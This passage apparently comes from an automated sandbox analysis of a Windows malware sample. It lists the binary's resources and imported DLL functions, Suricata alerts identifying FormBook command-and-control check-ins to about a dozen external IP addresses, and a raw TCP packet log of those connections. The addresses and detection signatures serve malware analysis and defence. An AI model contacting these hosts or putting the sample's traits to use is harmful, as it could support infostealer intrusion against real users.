                                                                                                                                                                                                      RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                                                                                                                                                                                                      RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                                                                                                                                                                                                      RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                                                                                                                                                                                      RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                                                                                                                                                                                                      RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                                                                                                                                                                                                      RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                                                                                                                                                                                                      RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                                                                                                                                                                                                      RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                                                                                                                                                                                                      RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                                                                                                                                                                                                      Imports

                                                                                                                                                                                                      DLLImport
                                                                                                                                                                                                      WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                                                                                                                                                                                      VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                                                                                                                                                                                      WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                                                                                                                                                      COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                                                                                                                                                                                                      MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                                                                                                                                                                                                      WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                                                                                                                                                                                                      PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                                                                                                                                                                                                      USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                                                                                                                                                                                                      KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
                                                                                                                                                                                                      USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
                                                                                                                                                                                                      GDI32.dllDeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
                                                                                                                                                                                                      COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                                                                                                                                                      ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
                                                                                                                                                                                                      SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                                                                                                                                                      ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
                                                                                                                                                                                                      OLEAUT32.dllSafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

                                                                                                                                                                                                      Possible Origin

                                                                                                                                                                                                      Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                      EnglishGreat Britain
                                                                                                                                                                                                      EnglishUnited States

                                                                                                                                                                                                      Network Behavior

                                                                                                                                                                                                      Suricata IDS Alerts

                                                                                                                                                                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                      2024-10-09T14:44:43.213930+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.665294199.59.243.22780TCP
                                                                                                                                                                                                      2024-10-09T14:45:06.688480+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.66539937.9.175.16380TCP
                                                                                                                                                                                                      2024-10-09T14:45:22.343403+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.66540467.223.117.16980TCP
                                                                                                                                                                                                      2024-10-09T14:45:36.629167+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.665408154.9.228.5680TCP
                                                                                                                                                                                                      2024-10-09T14:45:49.917063+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.665413203.161.41.20580TCP
                                                                                                                                                                                                      2024-10-09T14:46:03.219777+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.6654173.33.130.19080TCP
                                                                                                                                                                                                      2024-10-09T14:46:25.119973+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.6654215.39.10.9380TCP
                                                                                                                                                                                                      2024-10-09T14:46:41.273811+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.665425103.245.25.5480TCP
                                                                                                                                                                                                      2024-10-09T14:46:54.488785+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.6654293.131.150.6980TCP
                                                                                                                                                                                                      2024-10-09T14:47:08.288679+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.66543451.89.21.21480TCP
                                                                                                                                                                                                      2024-10-09T14:47:21.632539+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.66543813.248.169.4880TCP
                                                                                                                                                                                                      2024-10-09T14:47:35.554252+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.665442129.226.176.9080TCP

                                                                                                                                                                                                      Network Port Distribution

                                                                                                                                                                                                      TCP Packets

                                                                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.724864006 CEST6529480192.168.2.6199.59.243.227
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.729852915 CEST8065294199.59.243.227192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.729927063 CEST6529480192.168.2.6199.59.243.227
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.739100933 CEST6529480192.168.2.6199.59.243.227
                                                                                                                                                                                                      Oct 9, 2024 14:44:42.743997097 CEST8065294199.59.243.227192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:43.213630915 CEST8065294199.59.243.227192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:43.213690042 CEST8065294199.59.243.227192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:43.213722944 CEST8065294199.59.243.227192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:43.213929892 CEST6529480192.168.2.6199.59.243.227
                                                                                                                                                                                                      Oct 9, 2024 14:44:43.217253923 CEST6529480192.168.2.6199.59.243.227
                                                                                                                                                                                                      Oct 9, 2024 14:44:43.222130060 CEST8065294199.59.243.227192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.346196890 CEST6537080192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.351068020 CEST806537037.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.351182938 CEST6537080192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.362224102 CEST6537080192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:44:58.367360115 CEST806537037.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045860052 CEST806537037.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045874119 CEST806537037.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045886040 CEST806537037.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045898914 CEST806537037.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045945883 CEST6537080192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045973063 CEST6537080192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.045979977 CEST806537037.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.046030998 CEST6537080192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:44:59.874027967 CEST6537080192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:00.892967939 CEST6538580192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:00.897829056 CEST806538537.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:00.898129940 CEST6538580192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:00.909172058 CEST6538580192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:00.913935900 CEST806538537.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653448105 CEST806538537.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653476954 CEST806538537.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653489113 CEST806538537.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653501987 CEST806538537.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653512001 CEST806538537.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653740883 CEST6538580192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653851986 CEST806538537.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:01.653959990 CEST6538580192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:02.421039104 CEST6538580192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:03.440074921 CEST6539880192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:03.444931984 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:03.445061922 CEST6539880192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:03.458451033 CEST6539880192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:03.463319063 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:03.463625908 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251142025 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251163006 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251176119 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251271009 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251275063 CEST6539880192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251285076 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251322031 CEST6539880192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251431942 CEST806539837.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.251483917 CEST6539880192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:04.967789888 CEST6539880192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:05.986937046 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:05.992012024 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:05.992269039 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.000240088 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.005152941 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688364983 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688395977 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688421965 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688435078 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688450098 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688472033 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688479900 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688488007 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688502073 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688518047 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688530922 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688579082 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.688601971 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.693519115 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.693536043 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.693547010 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.693655014 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.801604033 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.801624060 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.801640034 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.801930904 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.806287050 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.806391001 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.806399107 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.806822062 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.806880951 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.809190035 CEST6539980192.168.2.637.9.175.163
                                                                                                                                                                                                      Oct 9, 2024 14:45:06.814112902 CEST806539937.9.175.163192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.833525896 CEST6540180192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.838666916 CEST806540167.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.838747978 CEST6540180192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.849219084 CEST6540180192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:11.853997946 CEST806540167.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:12.450618029 CEST806540167.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:12.456576109 CEST806540167.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:12.456640959 CEST6540180192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:13.358438969 CEST6540180192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:14.377758980 CEST6540280192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.389563084 CEST6540280192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.414076090 CEST806540267.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.414086103 CEST806540267.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.414192915 CEST6540280192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.427444935 CEST6540280192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.433554888 CEST806540267.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.993802071 CEST806540267.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.994371891 CEST806540267.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.994520903 CEST6540280192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:16.942667007 CEST6540280192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:17.956003904 CEST6540380192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:18.932275057 CEST806540367.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:18.932369947 CEST6540380192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:18.942795038 CEST6540380192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:18.947985888 CEST806540367.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:18.948040962 CEST806540367.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:19.600725889 CEST806540367.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:19.600836992 CEST806540367.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:19.600897074 CEST6540380192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:20.452430010 CEST6540380192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:21.471307039 CEST6540480192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:21.476102114 CEST806540467.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:21.476218939 CEST6540480192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:21.483819008 CEST6540480192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:21.490004063 CEST806540467.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:22.343030930 CEST806540467.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:22.343049049 CEST806540467.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:22.343403101 CEST6540480192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:22.344238997 CEST806540467.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:22.344322920 CEST6540480192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:22.352880001 CEST6540480192.168.2.667.223.117.169
                                                                                                                                                                                                      Oct 9, 2024 14:45:22.357722998 CEST806540467.223.117.169192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.919228077 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.925458908 CEST8065405154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.925642967 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.935822010 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.940759897 CEST8065405154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.452291965 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.560695887 CEST8065405154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.560746908 CEST8065405154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.560851097 CEST8065405154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.560929060 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.560978889 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.561060905 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.561813116 CEST8065405154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.561889887 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.562890053 CEST8065405154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.562963009 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.563801050 CEST8065405154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.563872099 CEST6540580192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:30.471004963 CEST6540680192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:30.957782984 CEST8065406154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:30.957873106 CEST6540680192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:30.969381094 CEST6540680192.168.2.6154.9.228.56
                                                                                                                                                                                                      Oct 9, 2024 14:45:30.974270105 CEST8065406154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:31.536432028 CEST8065406154.9.228.56192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:45:31.536628962 CEST8065406154.9.228.56192.168.2.6
